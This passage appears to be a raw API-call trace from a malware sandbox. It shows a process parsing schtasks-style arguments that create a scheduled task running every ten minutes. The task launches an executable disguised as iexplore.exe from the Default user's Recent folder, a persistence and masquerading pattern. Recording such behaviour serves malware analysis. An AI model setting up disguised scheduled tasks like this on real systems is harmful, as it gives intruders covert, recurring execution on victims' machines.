(lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0151.662] SetLastError (dwErrCode=0x490) [0151.662] SetLastError (dwErrCode=0x490) [0151.662] SetLastError (dwErrCode=0x0) [0151.662] lstrlenW (lpString="/sc") returned 3 [0151.662] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0151.663] SetLastError (dwErrCode=0x490) [0151.663] SetLastError (dwErrCode=0x0) [0151.663] lstrlenW (lpString="/sc") returned 3 [0151.663] GetProcessHeap () returned 0x280000 [0151.663] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29dc70 [0151.663] GetProcessHeap () returned 0x280000 [0151.663] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc10 [0151.663] SetLastError (dwErrCode=0x0) [0151.663] SetLastError (dwErrCode=0x0) [0151.663] lstrlenW (lpString="MINUTE") returned 6 [0151.663] lstrlenW (lpString="-/") returned 2 [0151.663] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0151.663] SetLastError (dwErrCode=0x490) [0151.663] SetLastError (dwErrCode=0x490) [0151.663] SetLastError (dwErrCode=0x0) [0151.663] lstrlenW (lpString="MINUTE") returned 6 [0151.663] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0151.663] SetLastError (dwErrCode=0x490) [0151.663] SetLastError (dwErrCode=0x0) [0151.663] lstrlenW (lpString="MINUTE") returned 6 [0151.663] GetProcessHeap () returned 0x280000 [0151.663] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d4c0 [0151.663] GetProcessHeap () returned 0x280000 [0151.663] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc40 [0151.663] SetLastError (dwErrCode=0x0) [0151.663] SetLastError (dwErrCode=0x0) [0151.663] lstrlenW (lpString="/mo") returned 3 [0151.663] lstrlenW (lpString="-/") returned 2 [0151.663] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.663] lstrlenW (lpString="?") returned 1 [0151.664] lstrlenW (lpString="?") returned 1 [0151.664] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.664] lstrlenW (lpString="mo") returned 2 [0151.664] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.664] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.664] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.664] lstrlenW (lpString="|?|") returned 3 [0151.664] lstrlenW (lpString="|mo|") returned 4 [0151.664] SetLastError (dwErrCode=0x490) [0151.664] lstrlenW (lpString="create") returned 6 [0151.664] lstrlenW (lpString="create") returned 6 [0151.664] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.664] lstrlenW (lpString="mo") returned 2 [0151.664] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.664] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.664] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.664] lstrlenW (lpString="|create|") returned 8 [0151.664] lstrlenW (lpString="|mo|") returned 4 [0151.664] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0151.664] SetLastError (dwErrCode=0x490) [0151.664] lstrlenW (lpString="delete") returned 6 [0151.664] lstrlenW (lpString="delete") returned 6 [0151.664] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.664] lstrlenW (lpString="mo") returned 2 [0151.665] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.665] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|delete|") returned 8 [0151.665] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.665] lstrlenW (lpString="|delete|") returned 8 [0151.665] lstrlenW (lpString="|mo|") returned 4 [0151.665] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0151.665] SetLastError (dwErrCode=0x490) [0151.665] lstrlenW (lpString="query") returned 5 [0151.665] lstrlenW (lpString="query") returned 5 [0151.665] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.665] lstrlenW (lpString="mo") returned 2 [0151.665] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.665] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|query|") returned 7 [0151.665] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.665] lstrlenW (lpString="|query|") returned 7 [0151.665] lstrlenW (lpString="|mo|") returned 4 [0151.665] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0151.665] SetLastError (dwErrCode=0x490) [0151.665] lstrlenW (lpString="change") returned 6 [0151.665] lstrlenW (lpString="change") returned 6 [0151.665] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.665] lstrlenW (lpString="mo") returned 2 [0151.665] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.665] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|change|") returned 8 [0151.665] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.666] lstrlenW (lpString="|change|") returned 8 [0151.666] lstrlenW (lpString="|mo|") returned 4 [0151.666] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0151.666] SetLastError (dwErrCode=0x490) [0151.666] lstrlenW (lpString="run") returned 3 [0151.666] lstrlenW (lpString="run") returned 3 [0151.666] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.666] lstrlenW (lpString="mo") returned 2 [0151.666] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.666] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|run|") returned 5 [0151.666] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.666] lstrlenW (lpString="|run|") returned 5 [0151.666] lstrlenW (lpString="|mo|") returned 4 [0151.666] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0151.666] SetLastError (dwErrCode=0x490) [0151.666] lstrlenW (lpString="end") returned 3 [0151.666] lstrlenW (lpString="end") returned 3 [0151.666] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.666] lstrlenW (lpString="mo") returned 2 [0151.666] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.666] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|end|") returned 5 [0151.666] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.666] lstrlenW (lpString="|end|") returned 5 [0151.666] lstrlenW (lpString="|mo|") returned 4 [0151.666] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0151.667] SetLastError (dwErrCode=0x490) [0151.667] lstrlenW (lpString="showsid") returned 7 [0151.667] lstrlenW (lpString="showsid") returned 7 [0151.667] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.667] lstrlenW (lpString="mo") returned 2 [0151.667] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.667] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|showsid|") returned 9 [0151.667] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|mo|") returned 4 [0151.667] lstrlenW (lpString="|showsid|") returned 9 [0151.667] lstrlenW (lpString="|mo|") returned 4 [0151.667] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0151.667] SetLastError (dwErrCode=0x490) [0151.667] SetLastError (dwErrCode=0x490) [0151.670] SetLastError (dwErrCode=0x0) [0151.670] lstrlenW (lpString="/mo") returned 3 [0151.670] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0151.670] SetLastError (dwErrCode=0x490) [0151.670] SetLastError (dwErrCode=0x0) [0151.670] lstrlenW (lpString="/mo") returned 3 [0151.670] GetProcessHeap () returned 0x280000 [0151.670] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29dc90 [0151.670] GetProcessHeap () returned 0x280000 [0151.670] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc70 [0151.670] SetLastError (dwErrCode=0x0) [0151.670] SetLastError (dwErrCode=0x0) [0151.670] lstrlenW (lpString="10") returned 2 [0151.670] lstrlenW (lpString="-/") returned 2 [0151.670] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0151.670] SetLastError (dwErrCode=0x490) [0151.670] SetLastError (dwErrCode=0x490) [0151.670] SetLastError (dwErrCode=0x0) [0151.670] lstrlenW (lpString="10") returned 2 [0151.670] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0151.670] SetLastError (dwErrCode=0x490) [0151.670] SetLastError (dwErrCode=0x0) [0151.670] lstrlenW (lpString="10") returned 2 [0151.670] GetProcessHeap () returned 0x280000 [0151.670] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x6) returned 0x29dcb0 [0151.670] GetProcessHeap () returned 0x280000 [0151.670] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cca0 [0151.671] SetLastError (dwErrCode=0x0) [0151.671] SetLastError (dwErrCode=0x0) [0151.671] lstrlenW (lpString="/tr") returned 3 [0151.671] lstrlenW (lpString="-/") returned 2 [0151.671] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.671] lstrlenW (lpString="?") returned 1 [0151.671] lstrlenW (lpString="?") returned 1 [0151.671] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.671] lstrlenW (lpString="tr") returned 2 [0151.671] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.671] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.671] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.671] lstrlenW (lpString="|?|") returned 3 [0151.671] lstrlenW (lpString="|tr|") returned 4 [0151.671] SetLastError (dwErrCode=0x490) [0151.671] lstrlenW (lpString="create") returned 6 [0151.671] lstrlenW (lpString="create") returned 6 [0151.671] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.671] lstrlenW (lpString="tr") returned 2 [0151.671] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.671] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.671] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.671] lstrlenW (lpString="|create|") returned 8 [0151.671] lstrlenW (lpString="|tr|") returned 4 [0151.672] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0151.672] SetLastError (dwErrCode=0x490) [0151.672] lstrlenW (lpString="delete") returned 6 [0151.672] lstrlenW (lpString="delete") returned 6 [0151.672] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.672] lstrlenW (lpString="tr") returned 2 [0151.672] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.672] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|delete|") returned 8 [0151.672] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.672] lstrlenW (lpString="|delete|") returned 8 [0151.672] lstrlenW (lpString="|tr|") returned 4 [0151.672] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0151.672] SetLastError (dwErrCode=0x490) [0151.672] lstrlenW (lpString="query") returned 5 [0151.672] lstrlenW (lpString="query") returned 5 [0151.672] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.672] lstrlenW (lpString="tr") returned 2 [0151.672] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.672] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|query|") returned 7 [0151.672] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.672] lstrlenW (lpString="|query|") returned 7 [0151.672] lstrlenW (lpString="|tr|") returned 4 [0151.672] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0151.672] SetLastError (dwErrCode=0x490) [0151.672] lstrlenW (lpString="change") returned 6 [0151.673] lstrlenW (lpString="change") returned 6 [0151.673] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.673] lstrlenW (lpString="tr") returned 2 [0151.673] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.673] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|change|") returned 8 [0151.673] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.673] lstrlenW (lpString="|change|") returned 8 [0151.673] lstrlenW (lpString="|tr|") returned 4 [0151.673] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0151.673] SetLastError (dwErrCode=0x490) [0151.673] lstrlenW (lpString="run") returned 3 [0151.673] lstrlenW (lpString="run") returned 3 [0151.673] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.673] lstrlenW (lpString="tr") returned 2 [0151.673] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.673] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|run|") returned 5 [0151.673] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.673] lstrlenW (lpString="|run|") returned 5 [0151.673] lstrlenW (lpString="|tr|") returned 4 [0151.673] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0151.673] SetLastError (dwErrCode=0x490) [0151.673] lstrlenW (lpString="end") returned 3 [0151.673] lstrlenW (lpString="end") returned 3 [0151.673] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.673] lstrlenW (lpString="tr") returned 2 [0151.673] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.674] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|end|") returned 5 [0151.674] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.674] lstrlenW (lpString="|end|") returned 5 [0151.674] lstrlenW (lpString="|tr|") returned 4 [0151.674] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0151.674] SetLastError (dwErrCode=0x490) [0151.674] lstrlenW (lpString="showsid") returned 7 [0151.674] lstrlenW (lpString="showsid") returned 7 [0151.674] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.674] lstrlenW (lpString="tr") returned 2 [0151.674] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.674] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|showsid|") returned 9 [0151.674] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|tr|") returned 4 [0151.674] lstrlenW (lpString="|showsid|") returned 9 [0151.674] lstrlenW (lpString="|tr|") returned 4 [0151.674] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0151.674] SetLastError (dwErrCode=0x490) [0151.674] SetLastError (dwErrCode=0x490) [0151.674] SetLastError (dwErrCode=0x0) [0151.674] lstrlenW (lpString="/tr") returned 3 [0151.674] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0151.674] SetLastError (dwErrCode=0x490) [0151.674] SetLastError (dwErrCode=0x0) [0151.674] lstrlenW (lpString="/tr") returned 3 [0151.674] GetProcessHeap () returned 0x280000 [0151.674] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29dcd0 [0151.675] GetProcessHeap () returned 0x280000 [0151.675] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ccd0 [0151.675] SetLastError (dwErrCode=0x0) [0151.675] SetLastError (dwErrCode=0x0) [0151.675] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.675] lstrlenW (lpString="-/") returned 2 [0151.675] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0151.675] SetLastError (dwErrCode=0x490) [0151.675] SetLastError (dwErrCode=0x490) [0151.675] SetLastError (dwErrCode=0x0) [0151.675] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.675] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0151.675] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.675] GetProcessHeap () returned 0x280000 [0151.675] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d4e0 [0151.675] _memicmp (_Buf1=0x29d4e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.675] GetProcessHeap () returned 0x280000 [0151.675] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d500 [0151.675] GetProcessHeap () returned 0x280000 [0151.675] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d520 [0151.675] _memicmp (_Buf1=0x29d520, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.675] GetProcessHeap () returned 0x280000 [0151.675] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x50) returned 0x29dcf0 [0151.675] SetLastError (dwErrCode=0x7a) [0151.676] SetLastError (dwErrCode=0x0) [0151.676] SetLastError (dwErrCode=0x0) [0151.676] lstrlenW (lpString="'C") returned 2 [0151.676] lstrlenW (lpString="-/") returned 2 [0151.676] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0151.676] SetLastError (dwErrCode=0x490) [0151.676] SetLastError (dwErrCode=0x490) [0151.676] SetLastError (dwErrCode=0x0) [0151.676] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.676] GetProcessHeap () returned 0x280000 [0151.676] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x4e) returned 0x29dd50 [0151.676] GetProcessHeap () returned 0x280000 [0151.676] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd00 [0151.676] SetLastError (dwErrCode=0x0) [0151.676] SetLastError (dwErrCode=0x0) [0151.676] lstrlenW (lpString="/f") returned 2 [0151.676] lstrlenW (lpString="-/") returned 2 [0151.676] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.676] lstrlenW (lpString="?") returned 1 [0151.676] lstrlenW (lpString="?") returned 1 [0151.676] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.676] lstrlenW (lpString="f") returned 1 [0151.676] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.676] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|?|") returned 3 [0151.676] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.676] lstrlenW (lpString="|?|") returned 3 [0151.676] lstrlenW (lpString="|f|") returned 3 [0151.676] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0151.677] SetLastError (dwErrCode=0x490) [0151.677] lstrlenW (lpString="create") returned 6 [0151.677] lstrlenW (lpString="create") returned 6 [0151.677] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.677] lstrlenW (lpString="f") returned 1 [0151.677] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.677] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|create|") returned 8 [0151.677] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.677] lstrlenW (lpString="|create|") returned 8 [0151.677] lstrlenW (lpString="|f|") returned 3 [0151.677] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0151.677] SetLastError (dwErrCode=0x490) [0151.677] lstrlenW (lpString="delete") returned 6 [0151.677] lstrlenW (lpString="delete") returned 6 [0151.677] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.677] lstrlenW (lpString="f") returned 1 [0151.677] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.677] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|delete|") returned 8 [0151.677] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.677] lstrlenW (lpString="|delete|") returned 8 [0151.677] lstrlenW (lpString="|f|") returned 3 [0151.677] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0151.677] SetLastError (dwErrCode=0x490) [0151.677] lstrlenW (lpString="query") returned 5 [0151.677] lstrlenW (lpString="query") returned 5 [0151.678] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.678] lstrlenW (lpString="f") returned 1 [0151.678] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.678] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|query|") returned 7 [0151.678] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.678] lstrlenW (lpString="|query|") returned 7 [0151.678] lstrlenW (lpString="|f|") returned 3 [0151.678] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0151.678] SetLastError (dwErrCode=0x490) [0151.678] lstrlenW (lpString="change") returned 6 [0151.678] lstrlenW (lpString="change") returned 6 [0151.678] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.678] lstrlenW (lpString="f") returned 1 [0151.678] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.678] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|change|") returned 8 [0151.678] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.678] lstrlenW (lpString="|change|") returned 8 [0151.678] lstrlenW (lpString="|f|") returned 3 [0151.678] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0151.678] SetLastError (dwErrCode=0x490) [0151.678] lstrlenW (lpString="run") returned 3 [0151.678] lstrlenW (lpString="run") returned 3 [0151.678] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.678] lstrlenW (lpString="f") returned 1 [0151.678] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.679] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|run|") returned 5 [0151.679] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.679] lstrlenW (lpString="|run|") returned 5 [0151.679] lstrlenW (lpString="|f|") returned 3 [0151.679] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0151.679] SetLastError (dwErrCode=0x490) [0151.679] lstrlenW (lpString="end") returned 3 [0151.679] lstrlenW (lpString="end") returned 3 [0151.679] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.679] lstrlenW (lpString="f") returned 1 [0151.679] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.679] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|end|") returned 5 [0151.679] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.679] lstrlenW (lpString="|end|") returned 5 [0151.679] lstrlenW (lpString="|f|") returned 3 [0151.679] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0151.679] SetLastError (dwErrCode=0x490) [0151.679] lstrlenW (lpString="showsid") returned 7 [0151.679] lstrlenW (lpString="showsid") returned 7 [0151.679] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.679] lstrlenW (lpString="f") returned 1 [0151.679] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.679] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|showsid|") returned 9 [0151.679] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf238 | out: _Buffer="|f|") returned 3 [0151.679] lstrlenW (lpString="|showsid|") returned 9 [0151.679] lstrlenW (lpString="|f|") returned 3 [0151.680] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0151.680] SetLastError (dwErrCode=0x490) [0151.680] SetLastError (dwErrCode=0x490) [0151.680] SetLastError (dwErrCode=0x0) [0151.680] lstrlenW (lpString="/f") returned 2 [0151.680] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0151.680] SetLastError (dwErrCode=0x490) [0151.680] SetLastError (dwErrCode=0x0) [0151.680] lstrlenW (lpString="/f") returned 2 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x6) returned 0x29ddb0 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd30 [0151.680] SetLastError (dwErrCode=0x0) [0151.680] GetProcessHeap () returned 0x280000 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] HeapValidate (hHeap=0x280000, dwFlags=0x0, 